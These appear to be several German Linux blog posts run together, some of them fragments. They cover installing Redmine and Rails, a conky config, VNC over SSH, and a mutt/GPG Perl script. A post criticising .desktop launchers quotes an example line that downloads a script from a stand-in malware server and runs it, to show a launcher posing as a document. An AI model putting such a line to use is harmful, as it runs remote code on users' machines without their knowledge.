Ich gehe im Folgenden von einer Lenny-Basisinstallation aus, d.h. es sind keine Pakete aus Fremdquellen oder ähnliches installiert. Der Server, auf dem Redmmine aufgesetzt wird, ist unter dem Namen redmine.example.com erreichbar und nimmt auf localhost:25 Mails ohne Authentifizierung entgegen. MySQL und Apache müssen noch nicht installiert sein.

Als erstes sollten Ruby, Rubygems und Rails installiert und eingerichtet werden, wie ich es in einem früheren Artikel beschrieben habe. Die Pfade in den weiteren Schritten beziehen sich auf diese Konfiguration.

MySQL

Als erstes werden die für MySQL benötigten Debian-Pakete installiert:

# aptitude install mysql-server build-essential ruby1.8-dev libmysqlclient15-dev

Als nächstes das gem für die Ruby-MySQL-Anbindung:

# gem install mysql

Redmine installieren

Das Verzeichnis für die Redmine-Dateien kann frei gewählt werden (ich verwende /srv/www/redmine). Die einzige Voraussetzung ist, dass der Webserver Leserechte für diesen Pfad besitzt.

Download und Installation

Die aktuelle Version von Redmine kann bei Rubyforge heruntergeladen werden. Die derzeit aktuelle Version ist 0.8.4.

# mkdir -p /srv/www/
# cd /srv/www/
# wget http://rubyforge.org/frs/download.php/56909/redmine-0.8.4.tar.gz
# tar xvzf redmine-0.8.4.tar.gz
# mv redmine-0.8.4 redmine
# cd redmine

Nun müssen die Zugriffsrechte gesetzt werden, so dass der Webserver (www-data) schreibend auf files/, log/, tmp/ und public/plugin_assets/ zugreifen kann:

# mkdir tmp public/plugin_assets
# chgrp -R www-data files log tmp public/plugin_assets
# chmod -R g+w files log tmp public/plugin_assets

Leere Datenbank einrichten

Als erstes wird eine leere Datenbank sowie ein User mit jeweils dem Namen ‘redmine’ angelegt. Dem neuen User werden volle Zugriffsrechte auf die Datenbank gegeben:

# mysql -uroot -p
mysql> create database redmine character set utf8;
mysql> create user 'redmine'@'localhost' identified by 'my_password';
mysql> grant all privileges on redmine.* to 'redmine'@'localhost';

Anpassen der Konfiguration

Damit Redmine auf die Datenbank zugreifen kann, müssen die Zugangsdaten entsprechend eingetragen werden:

# cp config/database.yml.example config/database.yml

In der Datei config/database.yml muss der Abschnitt ‘production’ angepasst werden:

production:
  adapter: mysql
  database: redmine
  host: localhost
  username: redmine
  password: my_password
  encoding: utf8

Die anderen Abschnitte sind nur dann interessant, wenn man Redmine in einer anderen als der ‘production’-Umgebung betreiben möchte. Ansonsten können sie bleiben wie sie sind.

Die Datenbank befüllen

Nun kann Redmine auf die Datenbank zugreifen und das Schema kann per Rake-Task angelegt werden:

# rake db:migrate RAILS_ENV="production"

Es empfiehlt sich, die Default-Konfiguration ebenfalls zu laden, dies ist aber optional:

# rake redmine:load_default_data RAILS_ENV="production"

Testen der Installation

An dieser Stelle kann die Installation bereits mit dem WEBrick Webserver getestet werden:

# ruby script/server webrick -e production

Redmine sollte unter der Adresse redmine.example.com:3000 erreichbar sein und ein login (User: admin, Passwort: admin) sollte ebenfalls möglich sein. Hinweis: Damit der Login nicht fehlschlägt, müssen (Session-)Cookies akzeptiert werden.

Mit Ctrl-C wird der Webserver wieder beendet.

SMTP Konfiguration

Soll Redmine E-Mails versenden können, muss eine weitere Konfigurationsdatei angepasst werden:

# cp config/email.yml.example config/email.yml

Hier muss ebenfalls der Abschnitt ‘production’ bearbeitet werden:

production:
  delivery_method: :smtp
  smtp_settings:
    address: localhost
    port: 25
    domain: example.com
    authentication: :none

Apache installieren

Für diesen Teil der Installation musste ich recht lange herumprobieren, bis das Gespann aus Rails, mod_fcgid und Apache korrekt funktioniert hat. Bei diesem Zusammenspiel kann leider allzuviel schiefgehen.

Zunächst wird das CGI-Script an Ort und Stelle gebracht:

# cp public/dispatch.fcgi.example public/dispatch.fcgi

Eine weitere Anpassung ist nicht notwendig.

Es folgen die benötigten Debian-Pakete…

# aptitude install apache2 libapache2-mod-fcgid libfcgi-dev

… sowie ein weiteres gem:

# gem install fcgi

[Update 24.10.09: Als ich kürzlich auf Version 0.8.5 umgestellt habe, habe ich bemerkt, dass ich hier einen Schritt unterschlagen habe, den ich hiermit nachreichen möchte. Und zwar müssen in der public/.htaccess folgende Zeilen auskommentiert werden:

#<IfModule mod_cgi.c>
#       AddHandler cgi-script .cgi
#</IfModule>

und

#<IfModule mod_cgi.c>
#       RewriteRule ^(.*)$ dispatch.cgi [QSA,L]
#</IfModule>

Ansonsten schreibt Apache den Request bis zum Erreichen des Limits immer wieder um und produziert einen Internal Server Error.]

Zuletzt wird der Virtual Host redmine.example.com konfiguriert. Dazu wird die Datei /etc/apache2/sites-available/redmine mit folgendem Inhalt angelegt:

<VirtualHost *:80>
  ServerName redmine.example.com
  ServerAlias redmine

  ServerAdmin webmaster@localhost

  DocumentRoot /srv/www/redmine/public/

  <IfModule mod_fcgid.c>
    DefaultInitEnv RAILS_ENV production
    DefaultInitEnv GEM_HOME /var/local/lib/gems
    DefaultInitEnv RUBYLIB /usr/local/ruby/lib/
  </IfModule>

  <Directory /srv/www/redmine/public/>
    Options Indexes ExecCGI FollowSymLinks
    Order allow,deny
    Allow from all
    AllowOverride all
  </Directory>

  ErrorLog /var/log/apache2/redmine_error.log
  LogLevel warn
  CustomLog /var/log/apache2/redmine_access.log combined
</VirtualHost>

Nun muss nur noch die Konfiguration geladen und das Modul rewrite aktiviert werden:

# a2ensite redmine
# a2enmod rewrite
# /etc/init.d/apache2 restart

Wenn nichts schiefgegangen ist, steht Redmine jetzt unter redmine.example.com/ bereit. Für die weitere Konfiguration und die ersten Schritte lohnt sich ein Blick ins Redmine Manual.

Fangen wir mit den Paketen an, die direkt aus den Repositories bezogen werden können und die für die weitere Installation notwendig sind:

# aptitude install ruby libsqlite3-ruby libruby rdoc1.8 libopenssl-ruby

Die in Lenny enthaltene Version von rubygems ist leider zu alt, weswegen es manuell installiert werden muss:

# wget http://rubyforge.org/frs/download.php/45905/rubygems-1.3.1.tgz
# tar xzf rubygems-1.3.1.tgz
# cd rubygems-1.3.1
# export GEM_HOME=/var/local/lib/gems
# ruby setup.rb --prefix=/usr/local/ruby

Anm: Die aktuellste Version findet sich unter http://rubyforge.org/frs/?group_id=126.

Damit die installierten Dateien auch gefunden werden können, müssen die folgenden Zeilen in /etc/profile eingefügt werden (vor export $PATH):

if [ -d /usr/local/ruby/bin ]; then
  PATH="${PATH}:/usr/local/ruby/bin"
fi

if [ -d /usr/local/ruby/lib/ ]; then
  export RUBYLIB="${RUBYLIB}:/usr/local/ruby/lib/"
fi

if [ -d /var/local/lib/gems ]; then
  export GEM_HOME=/var/local/lib/gems

  if [ -d /var/local/lib/gems/bin ]; then
    PATH="${PATH}:/var/local/lib/gems/bin"
  fi
fi

Damit das veränderte environment zum Tragen kommt, muss man sich entweder aus- und wieder einloggen oder /etc/profile sourcen:

# . /etc/profile

Wenn man möchte, kann man noch einen Symlink für gem anlegen:

# cd /usr/local/ruby/bin/
# ln -s gem1.8 gem

Nun steht einer Installation von Rails mit Hilfe von rubygems nichts mehr im Wege:

# gem install rails

Ab hier kann man z.B. mit dem Ruby on Rails Tutorial Ruby on Rails Tutorial weitermachen.

[Desktop Entry]
Icon=ooo-writer
Type=Application
Exec=ooffice -writer
Name=OpenOffice.org Writer

Wird diese Datei z.B. unter dem Namen ooo-writer.desktop auf dem Desktop abgelegt, wird sie mit dem Writer-Icon und dem Text »OpenOffice.org Writer« angezeigt und startet ooffice -writer bei einem Doppelklick. So weit so gut.

Das Problem besteht darin, dass erstens die Anweisung hinter Exec= beliebigen Shellcode enthalten kann und zweitens das x-Flag (executable) nicht gesetzt sein muss, damit dieser Code zur Ausführung gebracht wird. Hinzu kommt, dass auch das Icon und der angezeigte Text beliebig manipulierbar sind und dass der Anwender keinerlei Hinweis bekommt was passiert, wenn er einen Doppelklick auf diesem Icon ausführt – außer er öffnet den Dialog »Eigenschaften«. Im Klartext heißt das, dass ein solcher Launcher ein Writer-Symbol und den Text »harmloses_Dokument.odt« anzeigen, bei einem Doppelklick aber eine Zeile wie diese ausführen kann:

bash -c "curl http://www.some_malware_server.org/s.py -o /tmp/s.py; python /tmp/s.py"

Die Möglichkeiten sollten klar sein.

Sowohl auf Foobars Blogartikel als auch bei Slashdot gab es viele Reaktionen. Leider hat sich ein Großteil der anschließenden Diskussionen damit auseinandergesetzt, dass der verwendete Begriff »Virus« nicht korrekt sei (dem ich auch zustimmen würde) und dass man Anwender grundsätzlich nicht vor sich selber schützen kann. Das zentrale Problem wurde aber meines Erachtens nur unzureichend behandelt. Natürlich kann (und sollte) ein Betriebssystem (bzw. in diesem Fall eine Desktopumgebung) nicht versuchen, dem Anwender das Denken abzunehmen und wenn der User kundtut »ich möchte, dass $CODE ausgeführt wird«, dann sollte eben auch genau das passieren. Aber: eine graphische Oberfläche, die es ermöglicht, einen potenziell schädlichen Code aus beliebiger Quelle optisch als gewöhnliche Datei erscheinen zu lassen, ist in meinen Augen schlicht und ergreifend kaputt.

Das Problem ist nicht neu, sondern im Gegenteil seit 2006 bekannt und ich begreife nicht, warum die Gnome- und KDE-Entwickler nicht darauf reagieren. Was spricht dagegen, den im Launcher angegebenen Befehl nur dann auszuführen, wenn das x-Flag gesetzt ist?

Einen Schutz (etwa das Deaktivieren dieser Funktionalität) scheint es nicht zu geben, sondern es bleibt einem nur übrig, einen anderen Desktop zu verwenden oder vor dem Öffnen einer vermeintlichen Office-Datei, die man per Mail erhalten hat, dreimal hinzusehen.

(via How to write a Linux virus in 5 easy steps)

Nach einigem googlen habe ich schließlich einen Link auf http://gears.google.com/terms.html?platform=linux gefunden, wo das Firefox/Iceweasel-Addon klaglos installiert werden kann.

Bin gespannt, was der »Turbo« so bringt…

# conky configuration ~/.conkyrc

# set to yes if you want Conky to be forked in the background
background no

# Use Xft?
use_xft yes

# Xft font when Xft is enabled
#xftfont Bitstream Vera Sans Mono:size=8
xftfont Terminus:size=8

# Text alpha when using Xft
xftalpha 0.8

# Print everything to console?
# out_to_console no

# mail spool
mail_spool $MAIL

# Update interval in seconds
update_interval 2.0

# This is the number of times Conky will update before quitting.
# Set to zero to run forever.
total_run_times 0

# Create own window instead of using desktop (required in nautilus)
own_window no

# Use double buffering (reduces flicker, may not work for everyone)
double_buffer yes

# Maximum width of window
maximum_width 140

# Minimum size of text area
minimum_size 140 5

# Draw shades?
draw_shades yes

# Draw outlines?
draw_outline no

# Draw borders around text
draw_borders no

# Stippled borders?
stippled_borders 8

# border margins
border_margin 0

# border width
border_width 1

# Default colors and also border colors
default_color white
default_shade_color black
default_outline_color white

# Text alignment, other possible values are commented
#alignment top_left
alignment top_right
#alignment bottom_left
#alignment bottom_right

# Gap between borders of screen and text
# same thing as passing -x at command line
gap_x 20
gap_y 5

# Subtract file system buffers from used memory?
no_buffers yes

# set to yes if you want all text to be in uppercase
uppercase no

# number of cpu samples to average
# set to 1 to disable averaging
cpu_avg_samples 2

# number of net samples to average
# set to 1 to disable averaging
net_avg_samples 2

# Force UTF8? note that UTF8 support required XFT
override_utf8_locale yes

# Add spaces to keep things from moving about?  This only affects certain objects.
use_spacer yes
#Note: doesn't work in conky 1.2 =(

# stuff after 'TEXT' will be formatted on screen

TEXT
${color slate grey}${time %a, } ${color }${time %e %B %G}
${color slate grey}${time %Z,    }${color }${time %H:%M:%S}
${color slate grey}UpTime: ${color }$uptime
${color slate grey}Kern:${color }$kernel
${color slate grey}CPU:${color } $cpu% ${acpitemp}C
${cpugraph 20,130 000000 ffffff}
${color slate grey}Load: ${color }$loadavg
${color slate grey}Processes: ${color }$processes
${color slate grey}Running:   ${color }$running_processes

${color slate grey}Highest CPU:
${color #ddaa00} ${top name 1}${top_mem cpu 1}
${color lightgrey} ${top name 2}${top cpu 2}
${color lightgrey} ${top name 3}${top cpu 3}
${color lightgrey} ${top name 4}${top cpu 4}

${color slate grey}Highest MEM:
${color #ddaa00} ${top_mem name 1}${top_mem mem 1}
${color lightgrey} ${top_mem name 2}${top_mem mem 2}
${color lightgrey} ${top_mem name 3}${top_mem mem 3}
${color lightgrey} ${top_mem name 4}${top_mem mem 4}

${color slate grey}MEM:  ${color } $memperc%
${membar 3,100}
${color slate grey}SWAP: ${color }$swapperc%
${swapbar 3,100}

${color slate grey}NET:
${color}Up: ${color }${upspeed eth0} k/s
${upspeedgraph eth0 20,130 000000 ffffff}
${color}Down: ${color }${downspeed eth0}k/s${color}
${downspeedgraph eth0 20,130 000000 ffffff}

${color slate grey}Mail:
${color lightgrey} ${new_mails} Inbox
${color lightgrey} ${new_mails $MAIL/some_maildir_folder/} More mail
# ... other mailboxes in the same fashion

Update: Kurz nachdem ich dieses Posting geschrieben hatte, ist nun auch der 4. Teil erschienen. Er befasst sich wie angekündigt mit unterschiedlichen Möglichkeiten, Windows-Programme unter Linux zu nutzen und enthält ein Mini-HOWTO zur Installation von Photoshop unter Ubuntu mit Hilfe von wine.

Das GNOME-Environment bringt zwar schon eine entsprechende Funktion mit, die den eigenen Desktop für einen Zugriff von außen freigibt, diese basiert aber leider auf »reinem« VNC, d.h. die Daten der Verbindung werden unverschlüsselt übertragen. In einem LAN mag das gehen, für die Übertragung im Internet habe ich nach einer verschlüsselten Variante gesucht.

Letztlich habe ich mich dafür entschieden, eine VNC-Verbindung über ssh zu tunneln. NX habe ich mir zwar auch angesehen, der Client unterstützt aber leider keine Pubkey-Authentifizierung und war auch sonst in der Bedienung eher umständlich. Das System auf beiden Seiten ist jeweils Debian GNU/Linux »Etch« und so geht es:

1. ddclient

Zunächst muss dafür gesorgt werden, dass man den zu betreuenden Rechner auch erreichen kann. Sofern dieser keine statische IP-Adresse hat, muss man auf Dienste wie z.B. DynDNS oder easyDNS ausweichen.

Ist der betreffende Rechner direkt mit dem Internet (ohne Router) verbunden, gibt es hier keine Hürden:

# aptitude install ddclient

installiert ddclient, das sich mit einer ganzen Reihe von Diensten verwenden lässt. Debconf fragt direkt nach allen relevanten Konfigurationsparametern, die man später wie gewohnt durch den Aufruf von dpkg-reconfigure ddclient noch ändern kann. ddclient meldet dann die aktuelle IP-Adresse an den jeweiligen Dienst, sobald eine Internetverbindung hergestellt wird.

Ein wenig komplizierter wird es, wenn ein Router ins Spiel kommt. In diesem Fall muss sich nämlich dieser um das Update beim DNS-Dienst kümmern — ob der jeweilige Router dies kann, ist der entsprechenden Dokumentation zu entnehmen. Darüber hinaus muss noch ein Port Forwarding eingerichtet werden, d.h. alle Verbindungen auf einen Port am Router werden zu einem Port eines der angeschlossenen Rechner weitergeleitet. Auch hierfür sei auf die Dokumentation des Herstellers verwiesen.

2. ssh

Sofern noch nicht vorhanden, muss auf dem Zielrechner ein ssh-Server installiert werden:

# aptitude install openssh-server

Aus Sicherheitsgründen sollte auf jeden Fall der Login für root gesperrt und auch Passwort-Logins deaktiviert werden. Diese Zeilen müssen dafür in /etc/ssh/sshd_config stehen:

PermitRootLogin no
PasswordAuthentication no
UsePAM no

Als nächstes ist ein Schlüsselpaar zu erzeugen und dessen öffenlicher Teil den autorisierten Schlüsseln des zu betreuenden Benutzerkontos hinzuzufügen:

$ ssh-keygen -t dsa -f /path/to/id_file
# cat /path/to/id_file >> /home/username/.ssh/authorized_keys

Den geheimen Teil des Schlüssels sollte man auf keinen Fall auf dem PC des Anwenders zurücklassen! Die Gefahr, dass der Schlüssel und damit der Zugang zu dem Rechner in Hände gerät, in die er nicht gehört, ist groß. Am besten erzeugt man sich ein entsprechendes »Support«-Schlüsselpaar zu Hause und nimmt es auf einem USB-Stick mit.

3. VNC

Als letztes muss noch der VNC-Server installiert werden:

# aptitude install x11vnc

Als letztes muss noch ein Passwort für diesen vergeben werden. Dazu füht man im Kontext des zu betreuenden Nutzers folgenden Befehl aus:

$ x11vnc -storepasswd ~/.vnc/passwd

Das Passwort ist wichtig, da sonst ein Zugriff auf den VNC-Server durch andere Benutzer, die auf dem gleichen PC angemeldet sind, möglich wäre.

Damit ist die Konfiguration abgeschlossen und man kann sich mit dem Rechner verbinden.

4. Eine Verbindung aufbauen

Wir befinden uns jetzt wieder am eigenen PC und möchten den Desktop unseres Nutzers auf unseren Monitor holen. Dazu wird zunächst der VNC-Server auf dem entfernten Rechner gestartet und dessen Port (5900) auf (den eigenen) localhost umgeleitet:

$ ssh -C -i /path/to/id_file -L 5900:localhost:5900 USER@HOST "x11vnc -localhost -display :0 -rfbauth ~/.vnc/passwd"

Zur Erklärung:

• -C komprimiert die übertragenen Daten
• /path/to/id_file muss ersetzt werden durch den Pfad zum privatekey
• -L 5900:localhost:5900 leitet Port 5900 des entfernten Rechners auf Port 5900 von localhost um
• USER und HOST sind durch den Benutzernamen und den (dynamischen) Hostnamen zu ersetzen
• Der Rest der Zeile ist das Kommando, das auf dem entfernten Rechner ausgeführt werden soll: starten des VNC-Servers und Bereitstellung des Displays :0 auf localhost

Das Ergebnis sollte eine Meldung sein, dass der VNC-Server erfolgreich gestartet wurde und auf Verbindungen wartet.

Nun kann man sich mit einem VNC-Client der Wahl (z.B. vncviewer) am Server anmelden:

$ vncviewer localhost

Nach Eingabe des Passwortes ist man nun mit dem Desktop des entfernten PCs verbunden.

Noch ein Hinweis

Ich möchte ausdrücklich darauf hinweisen, dass selbstverständlich das Einverständnis des jeweiligen Benutzers vorliegen muss, bevor man sich mit dessen Computer verbindet!

Wie auch die letzte LTS-Version Ubuntu 6.06 legt das aktuelle Release 8.04 mit dem Namen »Hardy Heron« den Fokus mehr auf Stabilität und Bedienerfreundlichkeit als auf sensationelle neue Features.

Nun, das ist ja die Idee bei der LTS-Version, mit der vor allem Unternehmenskunden angesprochen werden sollen. Drei Zeilen weiter liest man dann aber das:

Als erste Linux-Distribution installiert Ubuntu 8.04 den neuen Firefox 3 als Standardbrowser.

Was bitte hat eine Betaversion in einem Stablerelease zu suchen? — Diese Distribution wird mir kontinuierlich unsympatischer…

Abhilfe

Abhilfe schafft die Möglichkeit die automatische Verschlüsselung zunächst global zu deaktivieren und mit so genannten send-hooks für einzelne Empfängeradressen (eben diejenigen, für die ein Schlüssel vorhanden ist) wieder zu aktivieren. In der ~/.muttrc sieht das Ganze dann so aus:

send-hook . 'unset pgp_autoencrypt'
send-hook '~t my-friend@example.com' 'set pgp_autoencrypt'

Die erste Zeile deaktiviert (unset) automatische Verschlüsselung für alle Empfänger (der ‘.’ trifft immer zu). In der zweiten Zeile wird nun die Verschlüsselung wieder aktiviert und zwar immer dann, wenn eine Mail an my-friend@example.com adressiert wird (der Schalter ‘~t‘ bezieht das Suchmuster auf das Empfänger-Feld (To:). Den passenden Schlüssel kann mutt dann selbst ermitteln, sofern pgp_list_pubring_command korrekt gesetzt ist.

Nun ist es alles andere als praktikabel für jeden einzelnen Empfänger, der einen GPG-Schlüssel besitzt, eine separate Zeile in der Konfigurationsdatei hinzuzufügen, zumal diese Information ja bereits existiert: im public keyring. Netterweise bietet GPG eine komfortable Möglichkeit, die Liste der vorhandenen Schlüssel automatisiert zu verarbeiten und zwar mit Hilfe der Schalter »--list-keys --with-colons». Das Ergebnis ist eine Liste mit 15 durch Doppelpunkte getrennten Feldern. Für unsere Zwecke benötigen wir nur drei davon:

• Feld 1 enthält den Typ der Zeile. Uns interessieren nur diejenigen vom Typ pub und uid.
• Feld 2 enthält den berechneten trust level. Ich habe mich dafür entschieden, alle Schlüssel zu berücksichtigen, denen ich mindestens »marginally« (’m') vertraue. Des Weiteren steht ‘f’ für »fully« und ‘u’ für »ultimately« trusted.
• Feld 10 enthält die eigentliche UID, also den Namen und die E-Mail-Adresse.

Als regulärer Ausdruck ergibt sich damit

/^(uid|pub):[mfu]:(.*:){7}.* <(.+@.+)>:/

Die vollständige Dokumentation dieses Formats findet sich übrigens in der Datei DETAILS.gz im Dokumentationsverzeichnis von GnuPG (z.B. bei Debian /usr/share/doc/gnupg/).

Alles zusammen

Das folgende Script prüft zunächst, ob eine Cache-Datei existiert und diese neuer als der public keyring ist. Wenn das der Fall ist, wird einfach diese Datei ausgegeben. Andernfalls die oben beschriebene Liste aller Schlüssel mit gpg --list-keys --with-colons und daraus entsprechende Konfigurationszeilen für mutt erzeugt. Eingebunden wird das Script mit der Zeile

source ~/.muttrc.gpg.pl|

in der ~/.muttrc (das Pipe-Symbol (|) am Ende nicht vergessen!).

Falls die Cache-Datei nicht existiert und der Keyring einigermaßen groß ist (bei mir sind es derzeit etwas über 1800 Zeilen), verzögert sich der Start von mutt um wenige Sekunden, was durchaus im Rahmen des Erträglichen liegt.

#!/usr/bin/perl

# file:    ~/.muttrc.gpg.pl
# author:  Martin Grandrath <mail@martin-grandrath.de>
# date:    2008-04-19
#
# description:
#   Creates .muttrc lines in the form
#   ,----
#   | send-hook '~t trusted@example.com' 'set pgp_autoencrypt'
#   `----
#   for each trusted uid in your gpg public keyring.  The output is
#   stored in a cache file that will be refreshed whenever the keyring
#   is newer than the cache file (mtime).
#
#   This script can be included in ~/.muttrc with the following line
#   (don't forget the trailing pipe (|))
#   ,----
#   | source ~/.muttrc.gpg.pl|
#   `----

use strict;
use warnings;
use File::stat;

my $cachefile="$ENV{HOME}/.cache/muttrc.gpg";
my $keyring="$ENV{HOME}/.gnupg/pubring.gpg";

if (-s $cachefile && -s $keyring &&
    stat($cachefile)->mtime > stat($keyring)->mtime)
{
    # Just dump cachefile to stdout if it exists and is not older than
    # keyring
    open FILE, $cachefile or die "ERROR: $!\n";
    print while (<FILE>);
    close FILE;
}
else
{
    my %count;   # count adresses (we want no duplicates)
    my $address; # email addresses from keyring

    # Create new muttrc config and "tee" it to stdout and the
    # cachefile
    open STDOUT, "| tee $cachefile" or die "ERROR: $!\n";
    open GPG, '/usr/bin/gpg --list-keys --with-colons |' or die "Error: $!\n";

    # let mutt reset all autoencrypt settings
    print "send-hook . 'unset pgp_autoencrypt'\n";

    while (<GPG>)
    {
        # Get all keys which we at least "marginally" trust
        if (/^(uid|pub):[mfu]:(.*:){7}.* <(.+@.+)>:/)
        {
            $address = lc($3);
            $count{$address} += 1;

            # Output new send-hook line if address is no duplicate
            print "send-hook '~t $address' 'set pgp_autoencrypt'\n"
                if ($count{$address} < 2);
        }
    }
    close GPG;
    close STDOUT;
}

Ich setze hier voraus, dass alle E-Mails verschlüsselt werden sollen, sobald die Möglichkeit dazu besteht. Möchte man einzelne Empfänger von dieser Regel ausnehmen, kann man für diese natürlich nach der Einbindung des Scriptes weitere send-hooks anlegen, die die automatische Verschlüsselung wieder deaktivieren.